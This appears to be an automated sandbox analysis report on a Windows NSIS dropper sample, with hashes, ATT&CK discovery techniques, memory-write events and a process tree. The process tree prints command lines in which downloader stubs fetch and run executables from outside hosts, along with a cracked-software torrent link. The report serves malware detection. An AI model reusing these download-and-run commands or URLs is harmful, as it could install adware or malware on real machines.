532862dab7e075eea9d47c1998f62ec4812b5d4b895df238bbebc781e5b83d24

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 15:44

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General

Target

021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe
Size

492KB
MD5

021c71b6b7daf7c8be42f2e6e6da0607
SHA1

a2043e843e6b7d31dcc5a44ac5a3ba79a9d38f61
SHA256

532862dab7e075eea9d47c1998f62ec4812b5d4b895df238bbebc781e5b83d24
SHA512

7a17020d7c21e58d2852996b0e931af1b0e33e2ee207aef7c3535c4dc5beb4654fbf4a5202fe0252b1d25673437ce80461226cd76203fd1dccc1f486e4402bf9
SSDEEP

6144:huk4fqjS0QqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:34fw96peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
4092	downloaderSTUB.exe
3448	downloaderSTUB.exe
4476	downloaderSTUB.exe
4540	downloaderDDLR.exe
4556	downloaderOFFER0.exe
4872	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
4092	downloaderSTUB.exe
3448	downloaderSTUB.exe
4540	downloaderDDLR.exe
4476	downloaderSTUB.exe
4556	downloaderOFFER0.exe
4092	downloaderSTUB.exe
3448	downloaderSTUB.exe
4540	downloaderDDLR.exe
4476	downloaderSTUB.exe
4556	downloaderOFFER0.exe
3448	downloaderSTUB.exe
4092	downloaderSTUB.exe
4540	downloaderDDLR.exe
4476	downloaderSTUB.exe
4556	downloaderOFFER0.exe
4540	downloaderDDLR.exe
4092	downloaderSTUB.exe
3448	downloaderSTUB.exe
4476	downloaderSTUB.exe
4556	downloaderOFFER0.exe
4540	downloaderDDLR.exe
4092	downloaderSTUB.exe
3448	downloaderSTUB.exe
4556	downloaderOFFER0.exe
4476	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	preinstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderDDLR.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x00070000000235be-4.dat	nsis_installer_1
behavioral2/files/0x00070000000235be-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 4092	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	91
PID 3160 wrote to memory of 4092	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	91
PID 3160 wrote to memory of 4092	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	91
PID 3160 wrote to memory of 4476	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	92
PID 3160 wrote to memory of 4476	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	92
PID 3160 wrote to memory of 4476	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	92
PID 3160 wrote to memory of 3448	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	93
PID 3160 wrote to memory of 3448	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	93
PID 3160 wrote to memory of 3448	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	93
PID 3160 wrote to memory of 4540	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	94
PID 3160 wrote to memory of 4540	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	94
PID 3160 wrote to memory of 4540	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	94
PID 3160 wrote to memory of 4556	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	95
PID 3160 wrote to memory of 4556	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	95
PID 3160 wrote to memory of 4556	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	95
PID 3160 wrote to memory of 4872	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	96
PID 3160 wrote to memory of 4872	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	96
PID 3160 wrote to memory of 4872	3160	021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\021c71b6b7daf7c8be42f2e6e6da0607_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4092
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4476
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3448
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4540
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4556
- C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\preinstaller.exe 0 "HitmanPro3.5.9Build129x32/x64-FullyActivated-BRiNGiTurl=aHR0cDovL3d3dy50b3JyZW50aG91bmQuY29tL3RvcnJlbnQvOTYyMTA2MzdjOWZkOGVmYjUwMjZhZmVhNjRiZTk3ZTExY2Q4" "Download"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4160,i,4356837537417149674,16553092232944545509,262144 --variations-seed-version --mojo-platform-channel-handle=1412 /prefetch:8
1⤵
PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\d7257519b62db99f20750c22e214ac8d\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf45F0.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/3160-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/4872-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download